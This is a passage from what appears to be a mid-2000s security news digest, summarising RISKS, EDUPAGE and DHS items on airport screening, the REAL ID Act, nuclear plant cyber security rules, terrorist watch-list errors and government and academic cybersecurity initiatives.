> Screening lines at airports are perhaps the most familiar reminder of post-9/11 security. They also exemplify what's wrong with the current approach. Many of the routines and demands are silly, eroding rather than building confidence in the security regime of which they are part.
>
> [Daniel] Prieto argues that the roughly $4 billion now going strictly toward airline passengers could make Americans safer if it were applied more broadly in transportation -- reinforcing bridges, establishing escape routes from tunnels, installing call boxes, mounting environmental sensors, screening more cargo. All these efforts combined now get less than $300 million a year, which will drop to $50 million next year.

Where the article gets really interesting, however, is in pointing out the political barriers to doing the rational thing from a risk-analysis point of view. For example, spending less on airline security in order to spend more on land and water transportation:

> Rationally, this is an easy tradeoff: less routine screening of passengers who don't call out for special attention (watch lists, travel and spending patterns, and other warning mechanisms can be improved), in exchange for more and faster work to reduce the vulnerabilities of bridges, tunnels, and ports. In wartime a commander would easily make such a decision to protect his troops. But politically this decision is almost impossible. Such a tradeoff would make it likelier that some airplane, somewhere, would be blown up. If that happened, whoever had recommended the change would be excoriated -- even if more people had been spared equally gruesome fates in subways or near ports.

And even examples of where this is already happening:

> [Terror and counter-insurgency experts] understand that this struggle will be with us for a very long time, that success will mean reducing rather than absolutely eliminating the threat of attacks, and that because there is no enemy government or army to surrender, there can be no clear-cut

moment of victory. "Ironically, when President Bush said this in the campaign, he was immediately jumped upon," Jenkins said. "It was a moment of truth for which he was promptly punished. Senator Kerry had a similar moment, when he said that the objective was to reduce terrorism to no more than a nuisance. Conceptually that was quite accurate, even if it was not the most felicitous choice of words. And he was punished too. In a campaign with a great deal of nonsense about the threat of terrorism, these two moments of truth were mightily punished, and the candidates had to back away and revert to the more superficial and less supportable assertions."

The article goes on with some general and specific recommendations for improving the security of America against terror attacks.

The approach will be nothing new to RISKS readers, though the details may be. But I find it very hopeful that articles like this are appearing in general interest magazines rather than just specialized forums like this.

Category 4C2 *Risk management methodology & tools*

2005-02-10 **proposed legislation security measures identification authentication I&A law enforcement risk management propaganda hysteria terrorism privacy**

RISKS; http://www.house.gov/paul/congrec/congrec2005/cr020905.htm 23 71

RISK MANAGEMENT AND TERRORISM

Larry Sudduth commented in RISKS that few congresscritters (MK's word) seem to understand risk management. He was pleased to report on one who apparently does.

H.R. 418, the "Immigrants ID bill" or "REAL ID Act of 2005," is advertised in part as establishing and rapidly implementing "regulations for State driver's license and identification document security standards, to prevent terrorists from abusing the asylum laws of the United States, to unify terrorism-related grounds for inadmissibility and removal." (See http://thomas.loc.gov/cgi-bin/bdquery/z?d109:h.r.00418:)

The Honorable Dr. Paul characterizes HR 418 as a National ID Card bill masquerading as immigration reform. The clarity and brevity of his comments merit reading, both from an infosec perspective as well as a countermeasures perspective (… excerpted and LMS-ed below):

" ...this bill will do very little to make us more secure. It will not address our real vulnerabilities. It will, however, make us much less free. In reality, this bill is a Trojan horse. It pretends to offer desperately needed border control in order to stampede Americans into sacrificing what is uniquely American: our constitutionally protected liberty."

"This bill establishes a massive, centrally-coordinated database of highly personal information about American citizens: at a minimum their name, date of birth, place of residence, Social Security number, and physical and possibly other characteristics ... that will be shared with Canada and Mexico!"

"This legislation gives authority to the Secretary of Homeland Security to expand required information on drivers' licenses, potentially including such biometric information as retina scans, finger prints, DNA information, and even Radio Frequency Identification (RFID) radio tracking technology."

"There are no limits on what happens to the database of sensitive information on Americans once it leaves the United States for Canada and Mexico - or perhaps other countries. Who is to stop a corrupt foreign government official from selling or giving this information to human traffickers or even terrorists? Will this uncertainty make us feel safer?"

Security practitioners know better than most the aptness of the saying, "err in haste, repent at leisure." I hope Representative Paul's common-sense proves to be contagious before HR 418 comes to a floor-vote.

Category 4C2 *Risk management methodology & tools*

2005-03-04 **nuclear power plant information security digital systems SCADA government regulations standards industry protest obstruction denial**

RISKS; http://www.securityfocus.com/news/10618?ref=rss 23 78

SECURITY? NUCLEAR PLANTS DON'T NEED NO STINKIN' SECURITY!

Jim Horning relayed a discussion of nuclear power industry opposition to proposals for improved cyber security in nuclear generator plants.

"Two companies that make digital systems for nuclear power plants have come out against a government proposal that would attach cyber security standards to plant safety systems. The 15-page proposal, introduced last December by the U.S. Nuclear Regulatory Commission (NRC), would rewrite the commission's 'Criteria for Use of Computers in Safety Systems of Nuclear Power Plants.' The current version, written in 1996, is three pages long and makes no mention of security. The plan expands existing reliability requirements for digital safety systems, and infuses security standards into every stage of a system's lifecycle, from drawing board to retirement. Last month the NRC extended a public comment period on the proposal until March 14th to give plant operators and vendors more time to respond. So far, industry reaction has been less than glowing."

"The NRC tries to promote the use of digital technology in the nuclear power industry on the one hand, but then over-prescribes what is needed when a digital safety system is proposed," wrote one company president.

"The entire cyber security section should be deleted and only a passing reference to the subject retained," another company wrote.

More information at
http://www.securityfocus.com/news/10618?ref=rss and
http://horning.blogspot.com/2005/03/security-nuclear-plants-dont-need-no.html

---

Category 4C2 *Risk management methodology & tools*

2005-03-07 **airport safety false sense security identification authentication counter-terrorism failure fraud propaganda illusion**

RISKS; http://www.nytimes.com/2005/03/06/magazine/06ADVISER.html 23 78

AIRPORT SECURITY CHECK OF LICENSES A FARCE

John F. McMullen provided this abstract of an article by Richard A. Clarke, former counter-terrorism adviser on the U.S. National Security Council that was published in the New York Times:

Have you ever wondered what good it does when they look at your driver's license at the airport? Let me assure you, as a former bureaucrat partly responsible for the 1996 decision to create a photo-ID requirement, it no longer does any good whatsoever. The ID check is not done by federal officers but by the same kind of minimum-wage rent-a-cops who were doing the inspection of carry-on luggage before 9/11. They do nothing to verify that your license is real. For $48 you can buy a phony license on the Internet (ask any 18-year-old) and fool most airport ID checkers. Airport personnel could be equipped with scanners to look for the hidden security features incorporated into most states' driver's licenses, but although some bars use this technology to spot under-age drinkers, airports do not. The photo-ID requirement provides only a false sense of security.

Category 4C2 *Risk management methodology & tools*

2005-03-12 **risk management assessment professionals credentials credibility software quality assurance QA**

RISKS 23 79

NEED PROFESSIONAL RISK ASSESSMENT TO IMPROVE SYSTEMS

Jack Goldberg published a thoughtful essay about risk management in RISKS:

Risks associated with developing and using computer systems have been documented widely (e.g., by PGN) and have become part of popular awareness. Economic costs resulting from these risks are huge, though presently unquantified. They include the costs of system failures, abandoned system developments, and lost opportunities to build valuable systems whose complexity is deemed beyond present art.

Despite the widespread awareness of this situation, nothing fundamental has been done to change it. New system technologies attempt to improve matters by giving system builders better tools. Large corporate and government initiatives to improve system trustworthiness have been announced. Despite many advances, system development risks have not abated. New systems keep getting developed whose defects are discovered too late to be repaired economically. Repairs become patches and basic defects remain embedded in the system. These problems are pervasive, both in safety and infrastructure-critical applications and in the mundane data-processing applications that support the national economy.

With all the awareness of the hazards of system building, why does this bad situation continue? We suggest that the reason is the weakness of current risk assessment for new systems. Warnings about computer system risks that are given in an early stage do not have the force of warnings in other disciplines such as medicine and civil engineering and so they are ignored or discounted.

What can be done to improve the believability of warnings about development hazards? We do not envision a super-powerful tool that can generate a high-confidence hazard assessment for all situations. Rather we see the need for a profession of hazard auditors who have earned acceptance based on their scientific skills and experience. The need for their skills should be assumed and demanded in all system development efforts. Their observations (and if necessary, testimonies) should be communicated to purchasers, builders and users. Tools should be developed to support their analyses.

Building such a profession would be a substantial effort but the effort would surely be justified by the enormous cost of current development deficiencies. Government agencies, corporations, universities and professional associations all have clear roles to perform.

Category 4C2 *Risk management methodology & tools*

2005-12-06 **terrorism threat counter-terrorism watch lists mistakes US DHS errors risk false positives identification authentication I&A**

RISKS; http://tinyurl.com/chvdq 24 11

HASSLES OF TERRORIST WATCH LISTS

Contributor Richard M. Smith documents a CNET news article bemoaning the hassles of being placed on a terrorist watch list. Nearly 30,000 airline passengers found out in 2004 that they were on such lists. The article continued:

>Jim Kennedy, director of the Transportation Security Administration's redress office, revealed the errors at a quarterly meeting convened here by the U.S. Department of Homeland Security's Data Privacy and Integrity Advisory Committee.

Marcia Hofmann, staff counsel at the Electronic Privacy Information Center, said this appeared to be the first time such a large error has been admitted. "It was a novel figure to me," Hofmann said. "The figure shows that many more passengers than we've anticipated have encountered difficulty at airports. The watch list still has a long way to go before it does what it's supposed to do."

Kennedy said that travelers have had to ask the TSA to remove their names from watch lists by submitting a "Passenger Identity Verification Form" and three notarized identification documents. On average, he said, it takes officials 45 to 60 days to evaluate the request and make any necessary changes.

Travelers have been instructed to file the forms only after experiencing "repeated" travel delays, he said, because additional screening can occur for multiple reasons, including fitting a certain profile, flying on a one-way ticket, or being selected randomly by a computer.<

Category 4C2 *Risk management methodology & tools*

2005-12-19 **UK psychology professor James Reason absent-mindedness risk management interview ABC**

RISKS; http://abc.net.au/rn/podcast/feeds/health_20051219.mp3 24 13

PSYCHOLOGY PROF. INTERVIEW ABOUT RISK MANAGEMENT

Contributor James Cameron refers us to a valuable interview of James Reason, Emeritus Professor of Psychology at University of Manchester (UK). Prof. Reason talks about:

* Absentmindedness,
* the Tenerife disaster (1977, two Boeing 747s collide),
* no remedial benefit from blame,
* root cause analysis,
* the Gimli Glider.

Mr Cameron writes, "Here is an interview that is very suitable for passing on to your non-technical friends who don't understand why you are so morbidly fascinated with risks."

Interview transcript: http://www.abc.net.au/rn/talks/8.30/helthrpt/stories/s1529677.htm

4C5 Academic/Industry/Vendor/Govt efforts

Category 4C5 *Academic/Industry/Vendor/Govt efforts*

2005-01-12 **Opera browser education university education browser campus**

EDUPAGE; http://news.com.com/2100-1032_3-5533666.htm

OPERA BROWSER FREE FOR HIGHER EDUCATION

Opera Software said this week that its Opera browser will be freely available to any university worldwide, in an effort to protect higher education from flaws in "more vulnerable browsers." The company also touted its browser's customization features, which would allow colleges and universities to personalize the browser for their own campus. Opera CEO Jon von Tetzchner said his company's browser is "fully standards-compliant and offers extensive administration possibilities for network configuration." Institutions including Harvard University, the Massachusetts Institute of Technology, and Oxford University have reportedly already taken Opera up on its offer. CNET, 12 January 2005 l

---

Category 4C5 *Academic/Industry/Vendor/Govt efforts*

2005-02-21 **US government federal group IT security boost CISO exchange CIO council**

DHS IAIP Daily; http://www.informationweek.com/story/showArticle.jhtml?artic leID=60402267

FEDERAL GROUP FORMED TO BOOST SECURITY

The consistent failure of many federal agencies to secure their IT systems has prompted government officials to create a new organization, which will be funded by the private sector, to help chief information security officers improve cybersecurity. The formation of the CISO (Chief Information Security Officer) Exchange was disclosed last week by the federal CIO Council and the chairman of the House Government Reform Committee, Tom Davis, R-VA, who also released a computer-security scorecard for two dozen federal departments and agencies. Unlike the CIO Council, the CISO Exchange will be an informal organization aimed at providing more than 100 departmental and agency chief information security officers with a way to collaborate. The exchange will be co-chaired by Justice Department CIO Van Hitch, who heads the CIO Council's cybersecurity and privacy committee, and Government Reform Committee staff director Melissa Wojciak. All money to support the CISO Exchange will come from business, mostly IT security companies. As of last week's announcement, no company had been asked to contribute money.

Category 4C5 *Academic/Industry/Vendor/Govt efforts*

2005-02-22 **Singapore cyber terrorism plan computer virus hacker threat government collaboration Australia United States**

DHS IAIP Daily;
http://www.reuters.com/newsArticle.jhtml?type=internetNews&s toryID=7698536

SINGAPORE UNVEILS PLAN TO BATTLE CYBER TERROR.

Singapore is to spend $23 million over three years to battle online hackers and other forms of "cyber-terrorism" in one of the world's most connected countries, government officials said Tuesday, February 22. Describing the infrastructure behind the Internet as a "nerve system" in Singapore, Deputy Prime Minister Tony Tan said a new National Cyber-Threat Monitoring Center would maintain round-the-clock detection and analysis of computer virus threats. Singapore has one of the world's highest Internet penetration rates, with 50-60 percent of its 4.2 million people living in homes wired to the Internet. The Cyber-Threat Monitoring Center will link up with companies that provide anti-virus systems and governments running similar centers, including the United States and Australia. It is expected to be fully operational by the second half of 2006.

Category 4C5 *Academic/Industry/Vendor/Govt efforts*

2005-02-24 **Britain UK Home Office Internet security hacking groups National Infrastructure Security Coordination Centre NISCC Website**

DHS IAIP Daily; http://www.computerweekly.com/articles/article.asp?liArticle ID=136955&liArticleTypeID=1&liCategoryID=2&liChannelID=22&li FlavourID=1&sSearch=&nPage=1

BRITAIN LAUNCHES INTERNET VIRUS ALERT SERVICE

Britain's Home Office has launched a high-profile campaign to secure the Internet against hacking groups using networks of infected computers to launch worm, spam and denial of service attacks against critical businesses and services. The campaign, which features a Website and an alert service to help non-IT specialists protect their computer systems, is designed to plug one of the weakest links in security on the Internet: home and small business PCs. The campaign will encourage home users and small businesses to sign up to an alert service, run by the National Infrastructure Security Coordination Centre (NISCC), part of the Home Office, which will give advice on urgent threats that affect home PCs, PDAs and mobile phones. Although the service is not designed to replace alert services run by firewall and anti-virus companies, NISSC believes that its links with international IT security organizations will help it to identify new computer threats as quickly as or before commercial alerting services. For more on the new service, visit http://www.itsafe.gov.uk

---

Category 4C5 *Academic/Industry/Vendor/Govt efforts*

2005-03-18 **European government Internet terror watch team study information sharing police**

DHS IAIP Daily; http://news.bbc.co.uk/1/hi/technology/4360727.stm

EUROPEAN GOVERNMENTS TO FORM INTERNET 'TERROR WATCH' TEAM

Five European governments are setting up a hi-tech team to monitor how terrorists and criminals use the Internet. The group will make recommendations on shutting down Websites that break terrorism laws. The plans for the initiative came out of a meeting of the G5 interior ministers in Spain that discussed ways to tackle these threats. The five countries also agreed to make it easier to swap data about terror suspects and thefts of explosives. The interior ministers of Spain, Britain, France, Germany and Italy -- the G5 -- met in Granada, Spain last week for an anti-terrorism summit. To combat terrorism the ministers agreed to make it easier for police forces in their respective states to share data about suspects connected to international terror groups. Part of this anti-terror work will involve the creation of the technical team that will keep an eye on how organized crime groups and terrorists make of the web.

Category 4C5 *Academic/Industry/Vendor/Govt efforts*

2005-04-11 **National Science Foundation NSF cybersecurity foundation research**

DHS IAIP Daily; http://www.nsf.gov/news/news_summ.jsp?cntn_id=103178&org=OLP A&from=news

NATIONAL SCIENCE FOUNDATION ANNOUNCES INTENT TO ESTABLISH CYBERSECURITY CENTER

The National Science Foundation (NSF) has announced it intends to establish two new Science and Technology Centers (STCs) in fiscal 2005. One is a major collaborative cybersecurity project led by the University of California, Berkeley, and a second, centered at the University of Kansas, will study polar ice sheets. The cybersecurity center will investigate key issues of computer trustworthiness in an era of increasing attacks at all levels on computer systems and information-based technologies. The Team for Research in Ubiquitous Secure Technology (TRUST) will address a parallel and accelerating trend of the past decade–the integration of computing and communication across critical infrastructures in areas such as finance, energy distribution, telecommunications and transportation. The center will lead development of new technologies based on findings from studies of software and network security, trusted platforms and applied cryptographic protocols. Formal approval of the new centers, with funding estimated at nearly $19 million over five years for each center, is still subject to final negotiations between NSF and the lead institutions. UC Berkeley Press Release: http://www.berkeley.edu/news/media/releases/2005/04/11_trust .shtml

Additional information from an article by Daniel S. Levine in the SF Business Times:
* The project leader will be S. Shankar Sastry, UC Berkeley professor of electrical engineering;
* "Other members of the TRUST effort are Carnegie Mellon University, Cornell University, Mills College, San Jose State University, Smith College, Stanford University and Vanderbilt University. The initiative also brings together industrial and other affiliates, including Bellsouth, Cisco Systems, ESCHER (a research consortium that includes Boeing, General Motors and Raytheon), Hewlett-Packard, IBM, Intel, Microsoft, Oak Ridge National Laboratory, Qualcomm, Sun Microsystems and Symantec."

Category 4C5 Academic/Industry/Vendor/Govt efforts

2005-04-14 **Chief Information Security Officers CISO Exchange CIO council withdrawal vendor fundraising practices**

DHS IAIP Daily; http://www.informationweek.com/story/showArticle.jhtml;jsessionid=D4M3LDAZ5RJUCQSNDBGCKH0CJUMEKJVN?articleID=160900663

FEDERAL GOVERNMENT ABANDONS VENDOR-BACKED CYBERSECURITY FORUM

The federal CIO Council is the latest government institution to retreat from the Chief Information Security Officers (CISO) Exchange because of fund-raising practices. Karen Evans, the administration's top IT official, said in a White House statement issued Thursday, April 14, that she accepts the CIO Council's recommendation to withdraw from the CISO Exchange, a privately financed group headed by government IT experts to help develop practices to improve cybersecurity. Evans said she's asking the CIO Council's best-practices committee to develop ways to improve weak cybersecurity scores among federal departments and agencies. Evans' comments came nearly a week after House Reform Committee chairman Tom Davis, R-VA, announced his withdrawal of support for the CISO Exchange because of the way the group solicited money from vendors to support its operations. The CISO Exchange was to hold quarterly education meetings as well as produce a report on federal IT security priorities and operations. CISO Exchange Website: http://www.cisoexchange.org/

Category 4C5 Academic/Industry/Vendor/Govt efforts

2005-04-15 **vendor government cybersecurity focus call Congress legislation information technology CSIA Department of Homeland Security DHS**

DHS IAIP Daily; http://www.nwfusion.com/news/2005/0415vendocall.html

VENDORS CALL FOR MORE GOVERNMENT CYBERSECURITY FOCUS

The U.S. government needs to get more serious about cybersecurity, but Congress should look at broader ways to combat security problems than focusing on bills that address specific issues such as spam or spyware, a group of executives from IT security product vendors said last week. Members of the Cyber Security Industry Alliance (CSIA), meeting in Washington, DC, Thursday, April 14, repeated their call for Congress to create an assistant secretary for cybersecurity position at the Department of Homeland Security. Members of the year-old CSIA, meeting as a rash of data breaches have been announced in recent months, said they committed this week to helping Congress and administration officials understand cybersecurity issues. While most CSIA executives said they would welcome the right kind of cybersecurity legislation, not all technology companies favor new laws. Private companies should have time to find their own solutions to data breaches and explain their efforts to Congress, said Howard Schmidt, chief security strategist at eBay, during a forum on ID theft at the Washington think tank the Center for Strategic and International Studies Friday, April 15. CSIA Website: https://www.csialliance.org/home

---

Category 4C5 Academic/Industry/Vendor/Govt efforts

2005-06-20 **Office Management Budget OMB security reporting guidelines FISMA**

DHS IAIP Daily; http://www.fcw.com/article89321−06−20−05−Web

OFFICE OF MANAGEMENT AND BUDGET MODIFIES SECURITY REPORTING

The Office of Management and Budget (OMB) has issued new security reporting guidelines that emphasize contractor oversight and data privacy protections. Under the 2005 Federal Information Security Management Act (FISMA) reporting guidelines issued Monday, June 13, agencies will have to answer new questions about data privacy and contractor oversight in reports they must submit to OMB by October 7. When OMB officials added the new questions, they also dropped some old ones. Agencies, for example, will no longer have to report how many times they were victims of a malicious code attack because someone in the agency had not installed a necessary security patch. The new guidelines emphasize that agencies are responsible for ensuring that federal contractors maintain appropriate security controls on equipment used to deliver network or other managed services. The security controls also apply to contractor support staff, government-owned and contractor-operated equipment and contractor-owned equipment in which any federal data is processed or stored. "Agencies must ensure identical, not equivalent security procedures," according to the guidelines. That means agencies must make certain that federal contractors conduct risk assessments, develop contingency plans, certify and accredit their systems and everything else that federal agencies must do to comply with FISMA.

Category 4C5 *Academic/Industry/Vendor/Govt efforts*

2005-08-19 **Germany German government efforts national IT security plan**

DHS IAIP Daily;
http://www.infoworld.com/article/05/08/19/HNgermansecurity_1
.html?source=rss&url=http://www.infoworld.com/article/05/08/
19/HNgermansecurity_1.html

GERMAN GOVERNMENT LAUNCHES NATIONAL IT SECURITY PLAN

The German government aims to counter the alarming rise in computer viruses with a national IT security plan that includes the establishment of a computer emergency response center. The new plan was unveiled Thursday, August 18, in Berlin by Interior Minister Otto Schily. The German government's "National Plan to Protect IT Infrastructures" has three major focuses: early prevention, swift response and security standards. The Federal Office for Security in Information Technology (BSI) will play a key role. It will be responsible for developing and implementing new security standards in the public sector, and publishing guidelines for the private sector. BSI will also house the computer emergency response center, which will collaborate with providers of IT security services in the private sector. Among the planned tasks of the center: sending e-mail alerts about potential threats and responding to attacks with hotline technical support. The German IT security plan is available in German on the ministry's Website at: http://www.bmi.bund.de/cln_028/nn_122688/Internet/Content/Co
mmon/Anlagen/Nachrichten/Pressemitteilungen/2005/08/National
er__Plan__Schutz__Informationsinfrastrukturen,templateId=raw
,property=publicationFile.pdf/Nationaler_Plan_Schutz_Informa tionsinfrastrukturen.

Category 4C5 *Academic/Industry/Vendor/Govt efforts*

2005-09-28 **cybersecurity firms business tax break US government effort Congress incentive security**

DHS IAIP Daily; http://www.nytimes.com/cnet/CNET_2100−7348_3−
5884149.html

TAX BREAKS FOR CYBERSECURITY FIRMS?

Congress may start offering tax breaks to companies that adopt good cybersecurity standards. Dan Lungren, chair of the U.S. House of Representatives cybersecurity subcommittee, is working on an "overall view of ways we can work with the private sector" to develop cybersecurity tools, including the possibility of creating an incentive-based system. Andy Purdy, acting director of the Department of Homeland Security's National Cybersecurity Division, said in a speech that his agency is also working closely with the private sector to equip itself for responding to cyberattacks.

Category 4C5 *Academic/Industry/Vendor/Govt efforts*

2005-10-18 **Schools cyberattack data colleges universities assessment project U.S. Department of Justice New York firwall intrusion reports networks**

DHS IAIP Daily;
http://news.com.com/Schools+get+tailored+cyberattack+data/21
00−7347_3−5900684.html?tag=cd.top

SCHOOLS GET TAILORED CYBERATTACK DATA

U.S. colleges and universities are getting a service that analyzes security data to help fend off cyberattacks. According to Steffani Burd, the executive director of Information Security in Academic Institutions, "The goal is to have an accurate assessment of information security in academic institutions." The project is sponsored by the research arm of the U.S. Department of Justice and run by Columbia University's Teachers College in New York. Academic organizations will be expected to submit logs from their firewall and intrusion detection systems so the service can parse the data and generate reports on attacks. Those reports can then be used to protect networks. Johannes Ullrich, the chief research officer at the SANS Institute and founder of DShield.org states, "Academic institutions face the challenge of maintaining an open network while also providing security for their users. This data will help them decide what protection to deploy while minimizing restrictions."

Category 4C5 *Academic/Industry/Vendor/Govt efforts*

2005-10-27 **PC United Kingdom National Hi-Tech Crime Unit IT BT Dell eBay HSBC Lloyds TSB Microsoft MessageLabs securetrading Yell**

DHS IAIP Daily; http://www.getsafeonline.org./

PC AWARENESS PROGRAM LAUNCHED IN THE UNITED KINGDOM

The UK's National Hi-Tech Crime Unit has teamed with the IT industry to launch an awareness program to increase understanding about PC security. The program, "Get Safe Online," is a joint initiative among the government, the National Hi-Tech Crime Unit, and private sector sponsors including BT, Dell, eBay, HSBC, Lloyds TSB, Microsoft, MessageLabs, securetrading.com, and Yell.com. A report released to coincide with the program's launch found that over three quarters of the UK's population (83 percent) don't know enough about protecting themselves online, and that 42 percent of the population just rely on friends and family for online safety advice rather than finding expert information for themselves.

Category 4C5 *Academic/Industry/Vendor/Govt efforts*

2006-03-27 **national IT disaster response council cyber attack response**

DHS IAIP Daily;
http://www.washingtontechnology.com/news/1_1/homeland/28284− 1.html

COUNCIL TO DRAW UP CYBER ATTACK RESPONSE.

Setting up a national IT disaster response apparatus is one possible topic to be addressed by the IT Sector Coordinating Council as it drafts a sector-specific plan for protecting the nation's computer networks against a terrorist attack or other disaster, according to the group's chairman. The goal is for private sector IT companies and government to work together to prevent and to respond to cyber attacks. The council wants ideas from the IT industry and from the Department of Homeland Security as it begins work on the sector-specific critical infrastructure protection plan at its Tuesday, April 4, meeting. The council expects to complete the plan by September.

4D Funny / miscellaneous

Category 4D *Funny / miscellaneous*

2005-01-21 **video gaming life skills technology learning games Racing Academy cars data performance chat student**

EDUPAGE; http://news.bbc.co.uk/2/hi/technology/4189411.stm

USING VIDEO GAMES TO TEACH LIFE SKILLS

According to researchers at Futurelab, a British nonprofit investigating how technology can be used for innovative learning, video games have the potential to be highly effective tools for holding students' attention and teaching them about a variety of topics. This sentiment echoes recent findings of the London Institute of Education, which said video games have educational potential. "Games teach life skills such as decision making [and] problem solving," according to Futurelab's Martin Owen. One company, Lateral Visions, saw an opportunity in the educational potential of video games and developed an auto-racing game called Racing Academy. In it, players build and maintain the cars they race, using data to try to improve their performance. The game allows players to use chat rooms to exchange information and ideas, and Owen finds this aspect of the game particularly promising for developing student learning. Futurelab researchers who have been testing the game in two secondary schools have had a positive response from most students, and the researchers have generally been supportive of using the game to enhance learning.

Category 4D *Funny / miscellaneous*

2005-01-27 **software scan Arabic texts scanners texts language word vowels benefits writings**

EDUPAGE; http://www.nytimes.com/aponline/technology/AP-Arabic-Software.html

DEVELOPING SOFTWARE TO SCAN ARABIC TEXTS

Computer researchers at the University at Buffalo are working on software that will allow computer scanners to read Arabic writing, including handwritten texts. Arabic is a visually complicated language, with some words, for example, having multiple representations. In addition, Arabic characters can be represented differently depending on where they appear in a word, and vowels are often not written at all. Intelligence-gathering efforts after September 11 were hampered by the lack of Arabic-language scanning software, but organizers of the project note other potential benefits, including expanded access to Arabic writings and the ability to digitize vast amounts of Arabic literature and put it on the Web. Venu Govindaraju, director of the Center for Unified Biometrics and Sensors at the University at Buffalo, noted that "The whole Internet is skewed toward people who speak English." Govindaraju said the software will help prevent classic texts in Arabic from "disappear[ing] into oblivion."

Category 4D *Funny / miscellaneous*

2005-02-07 **MIT Media Lab inexpensive laptop education text books TV telephone games machine applications operating system**

EDUPAGE; http://news.bbc.co.uk/2/hi/technology/4243733.stm

MEDIA LAB FOUNDER PROPOSES INEXPENSIVE LAPTOP FOR EDUCATION

Nicholas Negroponte is developing a sub-$100 laptop computer that he said could be a vital educational tool for children in developing countries. Negroponte, the chairman and founder of MIT's Media Lab, said the idea comes from pilot programs in Maine, in which schoolchildren were given laptops, and in Cambodia, where he and his wife have set up two schools and given the students laptops. Children can use the devices as text books, according to Negroponte, who said such computers could become "very important to the development of not just that child but now the whole family, village, and neighborhood." Negroponte noted that in Cambodia, the students use them not just as text books but also as "a TV, a telephone, and a games machine." Building a laptop for less than $100, he said, will require deleting extraneous applications and running a Linux-based operating system. "[I]f you can skinny it down," he said, "you can gain speed and the ability to use smaller processors and slower memory." Negroponte hopes to start distributing the machines by the end of 2006. BBC, 7 February 2005

Category 4D *Funny / miscellaneous*

2005-10-13 **science technology research development R&D US leading position loss**

EDUPAGE; http://news.com.com/2100-11395_3-5894854.html

PANEL WARNS U.S. NOT KEEPING PACE IN SCIENCE

A new report says that the United States stands to lose its leading position in science and research unless efforts are made to strengthen support for educational and other scientific programs. The panel that wrote the report was convened by the National Academies and included representatives from corporations and higher education, as well as Nobel laureates and former presidential appointees. The panel pointed to the narrowing scientific gap between the United States and countries such as China and India; recent results showing declining performance among U.S. students in science and math compared with students around the world; and economic factors that work against U.S. scientific interests. Among the report's recommendations are funding scholarships to support 10,000 students annually to pursue careers in teaching math and science; allocating money for 30,000 students per year to study science, math, and engineering; and relaxing visa regulations to allow international students to find employment in the United States after they graduate. CNET, 13 October 2005

Category 4D *Funny / miscellaneous*

2005-10-27 **GPS data error human judgement override accident consequences legal liability**

RISKS 24 10

WHICH DO YOU BELIEVE: COMPUTERS OR REALITY?

Mike Scott contributed this chilling tale of excessive dependence on computerized information:

>My son was being driven by a friend in London. The friend's car was equipped with some sort of GPS navigation. They were driving eastbound along the north side of the River Thames, intending to cross at Tower bridge to a destination on the south side of the river. The GPS said "turn right" when they reached the bridge. The only snag is that this is a one-way system. To cross the bridge you turn left, *away* from the bridge, and drive right round the block. Unfortunately, said friend [paid] more attention to the GPS than the road signing, and very nearly collided with a car coming the other way.<

Mr Scott wondered about legal liability of the GPS navigator makers if there had been an accident.

[Lightly edited by MK]

Category 4D *Funny / miscellaneous*

2005-12-06 **Internet Web browser Firefox plug-in George Mason University research bibliography sources citing bookmarking**

EDUPAGE; http://chronicle.com/daily/2005/12/2005120602t.htm

GEORGE MASON DEVELOPS ACADEMIC BROWSER ADD-ON

Researchers at George Mason University are developing a plug-in for the Firefox browser that will help academics organize sources and properly cite them. The tool is designed to harvest bibliographic information from online sources and organize it for someone doing research on the Web. Assuming the bibliographic elements are formatted in a way the software can recognize, the application will parse title, author, and other information and correlate it with the source. Daniel J. Cohen, assistant professor of history and one of the developers, said it can be thought of as "incredibly smart bookmarking…. You're not just bookmarking the page, but you're automatically [capturing]…all that info that scholars want to save." Unlike commercial products that organize sources, the new application will tie directly into the browser, eliminating the step of manually collecting citation details. The open source application is expected to be completed next year and will be available for no charge from George Mason's Web site. Cohen said he believes the application will make unintentional plagiarism less likely than if a researcher were keeping sources organized manually.
Chronicle of Higher Education, 6 December 2005 (sub. req'd)

Category 4D *Funny / miscellaneous*

2005-12-16 **Wikipedia free online encyclopedia content evaluation Nature Britannica science accuracy**

EDUPAGE; http://networks.silicon.com/webwatch/0,39024667,39155109,00.htm

STUDY EVALUATES WIKIPEDIA CONTENT

According to a research study published in the journal Nature, Wikipedia compares favorably with the Encyclopedia Britannica in the accuracy of its information despite recent criticisms of its content and methods. The Nature study compared articles from both Web sites on a wide range of topics, asking field experts to review the accuracy of the entries. Serious errors (such as misunderstandings of vital concepts) were evenly distributed between the two encyclopedias, with four serious errors each. As for errors of fact, omissions, or misleading text, Wikipedia had 162 such errors and Britannica had 123. The study is the first to use peer review to compare the accuracy of the two sources' coverage of science. Silicon.com, 16 December 2005

Category 4D *Funny / miscellaneous*

2006-05-03 **Iraq online library US Department of Defense DoD weapons systems research**

EDUPAGE; http://chronicle.com/daily/2006/05/2006050301t.htm

ONLINE LIBRARY PART OF INTERNATIONAL SECURITY

A group of academics has partnered with the U.S. Department of Defense to develop an online library in Iraq that organizers hope will help the country hold on to its senior scientific researchers, many of whom have considerable experience developing weapons systems. Following the U.S. invasion of Iraq, 85 percent of the country's university libraries were destroyed or looted. Organizers of the online library said that although many in the country lack reliable Internet access, an online library was nonetheless the fastest, least expensive way to provide access to scientific material. The Iraqi Virtual Science Library is initially funded by the Defense Department's Defense Threat Reduction Agency and runs on U.S. government servers, though officials said they hope to turn control of the library over to Iraqis within the next few years. Fourteen publishers are participating in the program, offering discounts of as much as 97 percent over regular subscription prices. The Iraqi Virtual Science Library provides access to articles from about 17,000 academic journals. A representative of Springer, one of the publishers involved, said that because of the discounts, the Iraqi library has more content than most U.S. libraries, which must "cherry-pick" what they will purchase.

